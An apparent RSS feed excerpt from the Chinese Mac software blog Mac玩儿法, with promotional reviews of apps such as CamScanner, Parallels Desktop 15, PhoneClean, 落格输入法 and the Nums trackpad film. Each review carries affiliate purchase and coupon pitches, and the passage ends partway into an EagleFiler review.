    + + 扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器 + https://www.waerfa.com/sao-miao-quan-neng-wang + https://www.waerfa.com/sao-miao-quan-neng-wang#respond + Mon, 26 Aug 2019 01:57:12 +0000 + + + + + + https://www.waerfa.com/?p=105927 + + 扫描全能王是一款小编已经使用多年的无纸化办公应用,今天详细的推荐给各位,这款应用集扫描、OCR 识别、多格式文档导出、云端存储、无线打印等诸多功能于一身,已经覆盖 200 多个国家,4 亿用户,真的可算是很成功的中国 app 产品。

    + +

    扫描全能王(后面简称“全能王”)这款产品的用户群并不是专为特别精通 iOS 的极客宅男所设计的,它覆盖的用户群是所有对文档无纸化处理有需求的全球用户,其实仔细回忆一下,你会发现身边许多朋友、同事,特别是年龄稍大的用户对纸质文档的电子化操作基本上是“文盲”级的水平,而如果你利用全能王这种扫描 app 帮助他们解决文档的扫描、文字提取,会立刻让你在他们面前得到新增的印象分哦。

    + +

    文档扫描/证件扫描

    + +

    全能王的核心功能就是文档扫描,身边的人经常给你发过的“电子化”文档无非就是“平拍”的照片,体积那么大,如果拍的光线不好,你还得放大才能看清楚,而你使用全能王发出去的文档气质就不一样,全能王可以将照片中的阴暗光线,噪点统统去掉,只留下跟原生编写 PDF 一样质感的扫描文档,而且你还可以对文档的画质进行增亮、锐化、黑白等特效处理。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图

    + +

    除了能媲美“千元级”的扫描功能,全能王最让我喜欢的就是各种无纸化文档的制作功能了,你可以用它来做:

    + +
      +
    • 贺卡:将纸质手写区域拍摄下,然后用准备好的电子模板套用
    • +
    • 表格识别:识别纸质 excel 表格,图片中的表格,自动转换成电子 excel 文档分享给其他人
    • +
    • 拍图识字:拍摄任意带有文字内容的对象,印刷体文字识别成功率还行,但是中文手写体的基本没用
    • +
    • 证件制作:1:1 还原快速制作基于 A4 纸的证件电子版,有身份证、户口本、护照、驾照、行驶证、营业执照、房产证等等;
    • +
    • 证件照制作:按照各种证件照规格帮你自动生成证件照,你只需按照证件照通用标准去做好拍摄即可
    • +
    • 拍题:这个功能有点儿意思,你可以将需要反复强调的答题拍下来并做拼接;
    • +
    • 电子证据:专门用来做取证用的文档拍摄
    • +
    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(1)

    + +

    所有扫描下来的文档,全能王都能对其进行延伸操作,比如对文档进行:

    + +
      +
    • 无线打印
    • +
    • 传真
    • +
    • 上传到云服务进行存储
    • +
    • 对文档进行涂抹擦除,手写批注、添加水印/签名
    • +
    • 设置 PDF 文档密码
    • +
    • 生成 PDF、JPG 格式文档
    • +
    • 加密文档
    • +
    • 去除原有水印
    • +
    + +

    以上的功能会有一些是高级会员才能享用的服务,各位在使用 app 时可以获得提示,当然,免费版用户可以对这些功能进行次数限制的体验操作。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(2)

    + +

    关于 OCR

    + +

    全能王的 OCR 内核技术我不知道是不是自家的,但我感觉性能很强大,稳定,对于印刷体字体的识别、提取基本上准备率在 95% 以上,在 OCR 操作中你可以对细节、亮对比度进行适当调整,识别技术分“本地快速识别”或者“云端精准识别”,经过实测,云端识别的准确率会更高,但是普通版仅仅可以用 10 次,升级高级版才可以无限制使用,如果你对 OCR 有重度使用需求,建议升级高级版。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(3)

    + +

    识别还可以分整页识别,局部识别两种,这个很好理解吧?

    + +

    识别出来的文字可以进行多国语言翻译,导出 word 文档,还可以与原文进行校对,真的非常贴心。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(4)

    + +

    关于目录操作

    + +

    全能王的目录组织能力也很强,可以是网格图标式的,也可以是列表形式,而且可以根据各种条件进行排序,所有的文档可上传到 Box、Dropbox 云服务商。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(5)

    + +

    诸多细节

    + +

    全能王拥有强大的文档操作扩展能力,一个纸质文档被扫描后,你可以邀请其他人添加评论选择 AirPrint,发送传真,上传到各种云空间,保存到本地相册,生成 PDF 预览,发邮件,拼图等等,而且最令我印象深刻的是可以拍摄一个纸质表格,然后 OCR 识别后自动生成电子 Excel 表,简直太神奇了。

    + +

    扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器插图(6)

    + +

    全能王的使用场景

    + +
      +
    • * 商务人士:出差在外,扫描合同、文件,实时发传真、邮件共享,非常给力的办公软件
    • +
    • * 学生:随手扫描学霸笔记、课堂白板、PPT,妈妈再也不担心我考试挂科了
    • +
    • * 设计师:扫描保存设计手稿,随时捕捉灵感初现时的大胆想象
    • +
    • * 漫画党:没有扫描仪,也能扫描喜欢漫画,方便上传网盘,分享给同好~
    • +
    • * 旅行者:护照、驾照等证件,以及旅行计划、地图扫描存手机,没有网络也能随心行走
    • +
    + +

    收费政策

    + +

    升级高级帐户的话用户可以使用前面提到的诸多功能,比如:

    + +
      +
    • * 将整个文档的图片上的文字和备注,识别导出为一个可编辑的.txt文本
    • +
    • * 拼图功能,证件、发票、习题、漫画拼到一张纸上
    • +
    • * 10G 的云存储空间
    • +
    • * 可邀请40位好友共享文档,评论吐槽
    • +
    • * 以加密链接的形式分享文档,可设定链接的过期时间
    • +
    • * 自动上传文档至 Box、Google Drive、Dropbox、Evernote、OneDrive、百度云网盘等第三方云服务
    • +
    + +

    扫描全能王高级帐户有两种订购方式可供选择,官方价格:

    + +
      +
    • 按月订购:RMB 30/月
    • +
    • 按年订购:RMB 328/年
    • +
    + +

    从我们这里购买的话:

    + +

    按月订购:21.90 元/月

    + +

    按周订购:16.50 元/周

    + +

    按年订购:175 元/年

    + +

    这样一比较的,看出来比官方价格合适许多吧?配合我们的专属优惠券你在购买年卡高级会员时还能再减 5 元呢。

    + +

    购买全能扫描王各种会员

    + +

    总的来说,扫描全能王是移动无纸化办公的首选应用,我站五星推荐!

    +

    本文发表自Mac玩儿法,转载请注明转自《扫描全能王:让你在领导、同事面前印象分突增的无纸化办公利器

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sao-miao-quan-neng-wang/feed + 0 +
    + + Parallels Desktop 15 for macOS Catalina 发布,性能更能强大 + https://www.waerfa.com/parallels-desktop-15-for-macos-catalina-review + https://www.waerfa.com/parallels-desktop-15-for-macos-catalina-review#comments + Tue, 20 Aug 2019 13:53:24 +0000 + + + + + + https://www.waerfa.com/?p=105918 + + 这个 8 月,Parallels Desktop 15 正式发布,支持 macOS Catalina ,继续对虚拟机的大户 Windows 10 进行特别优化,同时在 2019 年 8 月 1 日到 2019 年 10 月 31 日购买 PD 14 的用户可免费升级到 PD 15,算是个好消息吧。

    + +

    全新的 PD 15 除了继续适配最新的 macOS,Windows 图形架构、蓝牙外设外,还针对 macOS Catalina 提供了对 Sidecar 和 Apple Pencil 的支持。

    + + + +
    + +

    + +

     

    + +

    支持 Metal 和 DirectX 11,游戏和 3D 性能大幅提升

    + +

    大家应该都知道,PD 在每一次大版本更新中都会对 Mac 系统、Win 系统的图形程序进行适配,这也成就了它固有的优势,在 3D 游戏、图形程序的运行上都比 VMware Fusion、VirtualBox 强,现在到了 PD 15,有了 Apple Metal API 的配合,它还支持了 DirectX 11(向下兼容到了 DirectX 9),像 Autodesk 3ds Max、AutoCAD、Photoshop 以及一些大型 3D 软件跑起来会更加的轻快流畅。

    + +

    如果你有在 PC 上玩守望先锋、战地、刺客信条、FIFA、帝国时代、辐射4、古墓丽影等游戏,不妨可以试试在 Catalina 的 PD 15 虚拟机上试试跑这些游戏。

    + + + +
    + +

    + +

     

    + +

    支持更多的蓝牙设备

    + +

    PD 15 比它的上一代还要支持数量更多的(低功耗)蓝牙设备以及 USB-C/USB 3.0 接口硬件设备,用户插入设备后,虚拟机可以自动识别硬件,像一些游戏手柄、键盘、物联网、智能家居等设备都可以应用到虚拟机上使得现在的虚拟机彻底脱离 Office、银行登录等固有需求圈。

    + +

    支持 Sidecar 和 Apple Pencil 支持

    + +

    在这次 Catalina 的更新中,macOS 加入了一个叫 Sidecar 的功能,你可以将 iPad 作为 Mac 的第二个屏幕,那么 PD 15 同样也支持将 iPad 变为虚拟机里 Windows 的扩展屏幕,并使用 Apple Pencil 在 Win 的作图应用进行操作,真正将 Mac 与 Win 打通并融合在一起。

    + + + +
    + + + +

     

    + +

    更好的 Linux 系统兼容性

    + +

    PD 15 还支持更多发行版的 Linux 系统,这款软件大幅优化了对主流 Linux 发行版的兼容性,比如新的支持 DRM 图形视频驱动程序、支持蓝牙、数字版权管理 (DRM)支持、支持滑动鼠标、动态分辨率和现成可用的多监视器支持等等。

    + +

    其他新鲜货

    + +

    PD 15 还首次支持了 Finder 的共享菜单,你可以直接在 Mac 里选择虚拟机的 Windows 系统邮件客户端发送文件,同时又能将 Mac 的截图拖放到 Windows 上使用。

    + + + +
    + + + +

    Parallels Desktop 15 的经典功能

    + +

    丰富的交互方式

    + +

    PD15 依旧是提供了全屏、画中画、融合三种交互方式,我个人比较青睐于融合模式,我可以将常用的 IE 浏览器、Office 套件里的三剑客都直接放在 Dock 栏快速打开,而且 Win 的虚拟机 dock 图标点击后会直接蹦出来一个 win 10 的开始菜单,还是挺酷的。

    + + + +
    + + + +

    此外,PD 15 还支持在 Mac 与虚拟机窗口之间的文件拖放移动,复制粘贴,音量控制同步等功能。

    + +

    快照功能

    + +

    最后我们来介绍一下 PD 的传统特色功能:快照。这个功能和 macOS 的 Time Machine、服务器上的备份快照是一回事,许多用户会在虚拟机里的系统鼓捣一下试验性的软件,脚本,但很容易把系统搞坏,这时如果有快照,你就可以肆无忌惮的折腾了,折腾前给系统创建一个快照,玩坏了从快照里还原然后继续折腾,真是太爽了。

    + +

    Parallels Desktop 15 for macOS Catalina 发布,性能更能强大插图

    + +

    Parallels Desktop 15 的销售政策

    + +

    还是老方式,以走量的普通版为例:

    + +
      +
    • 1. 全新购买:一年期订阅498元(可在有效期免费升级新大版本),终身版698元(不支持免费升级到新大版本)
    • +
    • 2. 升级购买:在免费升级政策之外的版本如果升级到 PD 15,普通版 358 元/台
    • +
    + +

    目前哪些 PD 14 用户可以免费升级到 PD 15?

    + +

    在 2019 年 8 月 1 日到 2019 年 10 月 31 日期间入手 PD 14 的客户可免费升级到 PD 15,更多升级解释可参照这里:政策说明

    + +

    现在只需在我站合作伙伴数码荔枝商店购买 Parallels Desktop 14 的单用户1年期订阅版即可再有效期内免费升级到 PD 15,价格是 298 元,这要比你全新购买1年期(498元)的 PD 15 或者付费升级到 PD 15(358 元/台)都要划算的多,所以想升级 PD 15 的朋友记得一定要在政策有效期给自己的 license 升级一下哦(2019/8/1~ 2019/10/31)。

    + +

    购买特惠 PD14 最低 299 元

    +

    本文发表自Mac玩儿法,转载请注明转自《Parallels Desktop 15 for macOS Catalina 发布,性能更能强大

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/parallels-desktop-15-for-macos-catalina-review/feed + 3 +
    + + PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」 + https://www.waerfa.com/phoneclean + https://www.waerfa.com/phoneclean#comments + Sat, 17 Aug 2019 10:48:05 +0000 + + + + + + + + http://www.waerfa.com/?p=13533 + + 最近 PhoneClean 的二合一组合软件套装上线了,分别有两种套装,一个是与 iMazing 组合的;另一个是与 MacBooster 组合。

    + +

    两种套餐里可选软件的授权时间或者支持授权设备数量的对应版本,PhoneClean 分一年个人版(49 元)与终身个人版 (89元),iMazing 单设备 90 元起,最便宜的组合,也就是 「PhoneClean 一年个人版+ iMazing 单设备」价格仅为 139元。

    + +

    PhoneClean & iMazing 搭配套餐

    + +

    PhoneClean & MacBooster 搭配套餐

    + +

    对于iPhone重度使用者来说,手机和电脑一样,用时间长了,都会变慢,因为他们会整天手不离屏幕,会频繁的光顾App Store,每天不下来10余种APP是绝对不会罢休的,手机里除了APP,就是APP,这样就会产生大量的垃圾文件,慢慢的~ 你的iPhone就会变得反应迟钝,其中最明显的一个现象就是每次回到Home Screen时的动画效果都会很卡…..

    + +

    购买特惠 PhoneClean

    + +

    找了好久的解决方案,今天终于让我逮着了极品,PhoneClean,一款完美的iPhone数据清理工具,兼容Mac与Win平台,操作方便,先scan,再清理,完活儿立即见效!

    + +

    使用前将手机接入Mac,点击Scan进行扫描,PhoneClean会将iPhone里各项应用中生成的缓存,临时,脚本,离线,媒体同步失败等类型文件一一揪出来,全部wipe out!

    + +

    PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」插图

    + +

    PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」插图(1)

    + +

    这次扫描得出的结果:有1.17GB的垃圾数据可以清理!

    + +

    PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」插图(2)

    + +

    PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」插图(3)

    + +

    购买特惠 PhoneClean

    +

    本文发表自Mac玩儿法,转载请注明转自《PhoneClean:iPhone垃圾清理神器「最新二合一组合套餐上架」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/phoneclean/feed + 4 +
    + + 落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」 + https://www.waerfa.com/loginputmac2-review + https://www.waerfa.com/loginputmac2-review#respond + Sat, 17 Aug 2019 10:25:23 +0000 + + + + + https://www.waerfa.com/?p=104269 + + 落格输入法是一款 macOS 和 iOS 上备受好评的双拼输入法,除了有接近原生系统的输入体验和手感外,它还可以自定义码表、辅码和双拼方案,针对不同人的使用习惯,有着极强的可定制性。现在,落格输入法 Mac 版推出了全新 2 代,完美适配新系统 macOS Mojave,支持了深色模式,还带来了更多新特性,例如支持了小鹤双拼、全拼,以及针对 VoiceOver 进行了中文优化等。

    + +

    目前 落格输入法 2 for Mac 正在做返校期半价促销,单用户版从 99 元降到了 49.5 元,升级授权从 59 元降到了 29.5 元。活动期到 9 月 15 日结束。

    + +

    购买落格输入法

    + +

    简洁流畅的类原生界面,优秀的双拼键入手感

    + +

    落格输入法 2 使用了和原生输入法几乎一致的候选栏界面,简洁耐看的同时,也能让你更快上手。

    + +

    落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」插图

    + +

    作为一款国产独立开发作品,落格输入法 2 没有任何广告和弹窗,也没有后台进程上传用户数据,这带来的好处是:使用极为流畅,且永远不会有隐私问题。

    + +

    任意搭配的主码表、辅码和双拼方案,还能直接下载

    + +

    落格输入法 2 最为强大的一点,就在于它不仅可以选择小鹤双拼、搜狗双拼等市面上绝大多数双拼方案,还能任意搭配主码表和辅码。例如:你可以使用大牛双拼的主码表,然后搭配小牛辅码或小鹤形码作为辅码,或者使用你自己定制的方案。此外,你甚至还可以使用全拼、五笔或郑码等其他输入方式,而不仅仅局限于双拼。

    + +

    落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」插图(1)

    + +

    落格输入法内置「对数云」服务,可以允许用户直接下载网友分享的各种码表、辅码方案,或是下载各种扩展词库,例如计算机词汇大全、成语俗语等。

    + +

    落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」插图(2)

    + +

    丰富的个性化设置项,满足你对输入法的种种需求

    + +

    落格输入法 2 提供了细致全面的个性化设置项。候选栏布局调整、模糊音、翻页键、智能繁体、智能 Emoji、静默应用……即便是一些很小众的偏好需求,你也可以在设置中找到对应的选项,自由定制出最符合你使用习惯的输入法。

    + +

    落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」插图(3)

    + +

    落格输入法 2 还支持将配置备份到 iCloud,你可以在多台设备上同步配置,重装系统或迁移设备都不用担心你的自定义配置丢失。

    + +

    为视障人士优化,服务更广大用户群体

    + +

    落格输入法 2 之所以有如此丰富的个性化设置项、可任意搭配的码表,正是为了满足更多人的需要,让每个人都可以根据自己的打字习惯来使用落格输入法。

    + +

    现在,开发商在 2 代中还特别优化了 VoiceOver 语音旁白功能,通过开发一套全新的汉字解释库,让视觉障碍者也能轻松使用落格,提高打字效率。

    + +

    如果你是双拼用户,想在 macOS 上更爽快地打字,落格输入法 2 应该会是最佳选择。

    + +

    购买落格输入法

    +

    本文发表自Mac玩儿法,转载请注明转自《落格输入法 2 for Mac:强大的可定制双拼输入法「半价促销中」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/loginputmac2-review/feed + 0 +
    + + NTFS 助手:让你的 Mac 无障碍快速读写任意外置硬盘 + https://www.waerfa.com/ntfs-assistant-review + https://www.waerfa.com/ntfs-assistant-review#comments + Sat, 17 Aug 2019 10:14:42 +0000 + + + + https://www.waerfa.com/?p=105903 + + 在你初学 Mac 时会不会经常遇到插入的 U 盘/移动硬盘不能被你的 Mac 识别?或者只能读,不写写入?不用着急,这是因为 macOS 压根就不识别盘里的磁盘 filesystem,大部分 U 盘都是基于 WindowsNT 设计的文件系统。当然只需一个小小的 tweak 就能搞定,之前我们介绍过 Mounty,而今天的主角则是来自国产的:NTFS 助手。

    + +

    购买特惠 NTFS 磁盘助手

    + +

    NTFS 助手 的主要功能是:

    + +
      +
    • +
      快速读写 NTFS 移动硬盘 / U 盘
      +
    • +
    • +
      自动装载/卸载 NTFS 磁盘
      +
    • +
    • +
      兼容 macOS 主流操作系统
      +
    • +
    • +
      支持 BootCamp
      +
    • +
    • +
      免费试用
      +
    • +
    • +
      安全易用,无损数据
      +
    • +
    + +

    日常工作生活中,我们经常会使用移动硬盘或 U 盘进行大体积文件的分享。但有时候别人提供的移动硬盘在 Mac 电脑中只能读取,无法将文件导入到移动硬盘中。这是因为常见的 NTFS 硬盘格式在 Mac 中不能兼容,这种情况下将移动硬盘转换为 Mac 支持的格式显然不现实。

    + +

    使用 NTFS for Mac 助手,就能让 Mac 兼容常见的 NTFS 移动硬盘或 U 盘格式,这样在 Mac 上也能用习惯的方式快速读写大容量的移动硬盘。

    + +

    即装即用,常见硬盘立即可读写

    + +

    软件安装完成,无需重启电脑就能立刻读写电脑连接的 NTFS 硬盘。在桌面或 Finder 中就能直接打开硬盘进行写入操作,并让硬盘支持 Boot Camp 功能。

    + +

    NTFS 助手:让你的 Mac 无障碍快速读写任意外置硬盘插图

    + +

    状态栏快捷打开或推出硬盘

    + +

    点击状态栏图标,选择连接的 NTFS 格式硬盘即可快速打开或推出。简单高效,比自带磁盘管理器更好用的快捷工具。

    + +

    NTFS 助手:让你的 Mac 无障碍快速读写任意外置硬盘插图(1)

    + +

    用熟悉的方式使用移动硬盘

    + +

    只要打开软件,就像自带硬盘那样使用移动硬盘。拖拽、编辑、删除、保存文件都能正常操作,性能优异,读写稳定。无需其他操作,用熟悉的方式管理移动硬盘

    + +

    NTFS 助手:让你的 Mac 无障碍快速读写任意外置硬盘插图(2)

    + +

    目前 NTFS for Mac 助手正在做半年优惠活动,家庭版仅售 36 元,配合我站专属优惠券还能再降 5 元!

    + +

    购买特惠 NTFS 磁盘助手

    +

    本文发表自Mac玩儿法,转载请注明转自《NTFS 助手:让你的 Mac 无障碍快速读写任意外置硬盘

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/ntfs-assistant-review/feed + 1 +
    + + 小章鱼:高颜值 WYSIWYG Markdown 编辑器 + https://www.waerfa.com/xiaozhangyu-review + https://www.waerfa.com/xiaozhangyu-review#comments + Sat, 17 Aug 2019 08:49:59 +0000 + + + + + + https://www.waerfa.com/?p=105886 + + 如果你用过 Bear 这种“所见即所得”(WYSIWYG)的 Markdown 编辑软件那么你一定要尝试用用“小章鱼”这款同类型软件,我觉得整体使用起来要比 Bear(熊掌记)更加符合“所见即所得”(WYSIWYG)的设计理念,Bear 是将 MD 语法与格式同时显示在屏幕上,这感觉很怪,而且修改 MD 格式也不如“小章鱼”方便,后者是随时可以双击文本对 MD 语法进行修改,而且语法格式默认是隐藏的。

    + +

    小章鱼整体设计非常的 flat,简约,略显抽象的操作图标给人一种微微的神秘通话感,软件没有目录或文章列表的组织形式,只有笔记罗列存放在左侧“最近使用”工具栏内。

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图

    + +

    支持的 Markdown 格式异常丰富

    + +

    小章鱼支持的 Markdown 语法格式异常的丰富,从基础的标题、代码、引用、列表到不常见的任务列表、分割线、再到复杂的表格,数学公式甚至是甘特图等都有支持,而且插入、修改的形式很全面,可以满足不同用户的使用习惯。

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(1)

    + +

    单击文本左侧的 MD 图标可以对语法进行切换,这个设计我是第一次看到。

    + +

    或者选择好文本后,会弹出一个 MD bar,可以对格式进行定义。

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(2)

    + +

    插入图片的设计也是非常方便,可以直接上传本地图片,或者插入网络 URL:

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(3)

    + +

    强大的不常用 MD 模块导入

    + +

    以上是基础的 MD 语法引入方式,而小章鱼的看家本领则是不常用、复杂语法的插入设计,简直是非常的 geek,在编辑区只要输入“@”即可快速引用完整的 MD 语法列表。它主要分为三类:

    + +
      +
    • 基础块和标题
    • +
    • 进阶级别的模块
    • +
    • To-do List 和图表
    • +
    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(4)

    + +

    每一种语法都有对应的组合键去实现快速盲操作:

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(5)

    + +

    如何分享笔记

    + +

    小章鱼还可以将笔记导出成 PDF / HTML / Markdown 文件,对外分享,这项功能仅限于 Pro 用户。小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(6)

    + +

    细节

    + +

    软件窗口右侧可显示笔记的文档、字数统计等信息。

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(7)

    + +

    文档内如果有准确的段落分布,并填写好标题语法,则右侧目录可为你提供清晰的导航功能:

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(8)

    + +

    搜索功能支持对关键词的前后定位切换:

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(9)

    + +

    在编辑区点击右键,隐藏菜单里提供了图片插入、段落插入等功能,如下图:

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(10)

    + +

    Pro 版有啥

    + +

    小章鱼这款软件未来还会推出支持 iPhone 的 iOS 版以及支持 iPad 的 iPad OS 版,同时目前也提供了内购的 Pro 版,Pro 版支持导出 HTML、PDF、分享链接,有额外的图片存储空间,主持通过 Apple ID 为账号通行证的设备间同步数据以及多种主题皮肤。

    + +

    小章鱼:高颜值 WYSIWYG Markdown 编辑器插图(11)

    + +

    +

    本文发表自Mac玩儿法,转载请注明转自《小章鱼:高颜值 WYSIWYG Markdown 编辑器

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/xiaozhangyu-review/feed + 6 +
    + + Nums:让笔记本触摸板秒变数字键盘「限时 65 折」 + https://www.waerfa.com/nums-make-your-trackpad-into-numpad + https://www.waerfa.com/nums-make-your-trackpad-into-numpad#respond + Sat, 03 Aug 2019 03:21:21 +0000 + + + + + https://www.waerfa.com/?p=105860 + + 大多数笔记本电脑为了缩减尺寸,砍掉了数字键盘,使得大家在输入数字时很不方便。有一群人,他们发现好像笔记本的触摸板方方正正的,好像能塞下数字键盘!?于是一番折腾后,这个「奇思妙想」真的变为了现实,它就是 Nums。

    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图

    + +

    Nums 看似是一张印刷数字 & 符号的薄膜。不同型号的 MacBook 和 Surface 笔记本几乎都有对应尺寸 (文末有具体兼容清单)。神奇的是,薄膜吸附在触摸板后,用户只需通过配套软件,就能让触摸板秒变数字键盘,并还能支持更多高效手势 (下文也会细聊)。

    + +

    忍不住了,先敲几个数字:

    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(1)

    + +

    哎?好像有点意思!这也正是 Nums「区区」一张薄膜就赢得德国红点至尊奖的原因。适配不同型号笔记本的 Nums 在官网售价 129 元~299 元间。小贵,但 ….

    + +

    但 Nums 是我们的好伙伴「数码荔枝」上新的首款实体产品,优惠自然不能缺席 —— 即日起至2019年8月11日,Nums 全系列在「数码荔枝」限时 65 折 —— 也就是最多能省 104 元,几乎可以再买一张 Nums 送给小伙伴了!

    + +

    哦,别忘了领取专属优惠券,下单 Nums 还能再减 5 元: [点击领取]

    + +

    极简薄膜,做工毫不含糊

    + +

    收到 Nums 实体产品后,盒子中会包含 Nums 的薄膜,以及一个软件注册码。

    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(2)

    + +

    Nums 薄膜只有 0.25 毫米厚。按照触摸板尺寸精准裁剪;材料选用真空镀膜和金属油墨,透明感十足,手指按上去没有指纹,满满的科技感。只需要参考包装盒中的说明,很容易就将 Nums 无缝贴合在触摸板上。

    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(3)

    + +

    从格局上看,Nums 的薄片复原了经典小键盘的形式,九宫格数字键位符合大多数人自接触电脑开始形成的习惯。边角还有调出计算器、切换模式、快捷手势等功能符号,空间布局十分美观 …

    + +

    软硬结合,薄膜变身智能键盘

    + +

    … 但没有软件支持,一张膜就是一张膜而已。

    + +

    在开发商官网下载 Nums 驱动后,用注册码激活就能解锁 Nums 的所有「黑科技」,比如:

    + +
      +
    • 从触摸板右上角向内滑动,就能在光标 / 数字模式之间切换。所以,如果你平时惯用触摸板移动光标,也不用担心与 Nums 的功能冲突 —— 需要小键盘时,只需一秒就切过去了。

    • +
    • 从触摸板左上角向内滑动,快速调出计算器。很适合平时要和数字打交道的用户 :

    • +
    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(4)

    + +
      +
    • 从触摸板左边缘滑入,还能呼出 Nums 的九宫格。持续滑动并松开手指,就能直接打开九宫格对应位置的 APP 或网址。当然,九宫格中的启动项是可以在 Nums 设置界面中修改的~
    • +
    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(5)

    + +
      +
    • 因为 Win 平台更开放,所以 Surface 下的 Nums 软件还支持更多功能。例如通过快捷键「Alt+S」可开启「Luckey 搜索」 —— 极速搜索硬盘文件,或先输入搜索引擎的缩写 (bd = 百度) 快速调用结果。
    • +
    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(6)

    + +

    查看机型,选择适配 Nums

    + +

    由于 Nums 薄膜存在不同尺寸。在下单前,首先查询自己的笔记本是否有 Nums 适配,准没错:

    + +

    Nums:让笔记本触摸板秒变数字键盘「限时 65 折」插图(7)

    + +

    MacBook:点击菜单栏左侧苹果标志,进入「关于本机>概览」即可查看: +Surface:选择「开始」按钮 ,然后键入「系统信息」,前往「项目>系统型号」查看;

    + +

    如果你感觉 Nums 也会对你的生活和工作有所帮助,目前 Nums 正在做限时 65 折活动,绝对不能错过哦。

    + +

    别忘了领取专属优惠券,下单 Nums 还能再减 5 元。

    + +

    购买 Nums 虚拟键盘膜

    +

    本文发表自Mac玩儿法,转载请注明转自《Nums:让笔记本触摸板秒变数字键盘「限时 65 折」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/nums-make-your-trackpad-into-numpad/feed + 0 +
    + + EagleFiler:偏科的文件管理软件 + https://www.waerfa.com/eaglefiler-review + https://www.waerfa.com/eaglefiler-review#respond + Thu, 01 Aug 2019 03:44:35 +0000 + + + + + https://www.waerfa.com/?p=105070 + + 用 Mac 年岁长的朋友一定对 EagleFiler 有所耳闻,与 DEVONthink 比起来它更加的轻量化,更加的偏办公化,有着与 macOS Mail.app 拥有一张极其相像的脸,可以收集管理用户的重要邮件、归档网页、书签、图片、PDF、各种文本等等等各式各样的文件,特别是对邮件的导入,采集,管理,基本上没有对手,这是一个较为偏科的选手。

    + +

    EagleFiler 与 SpamSieveToothFairyDropDMG 同样出自 C-Command Software 厂牌,其主理人 Michael Tsai 的博客经常更新一些开发应用的心得体会,我经常会阅读。

    + +

    分栏布局,高效清晰

    + +

    EagleFiler

    + +

    EagleFiler 与 Mail.app 长得很像,左边第一部分是 library:

    + +

    可以添加各种 records,这款软件也支持多级目录内嵌结构,但开发者并不想突出这一特性,相反,EagleFiler 擅长的则是“文件搜索”以及“标签自定义”。
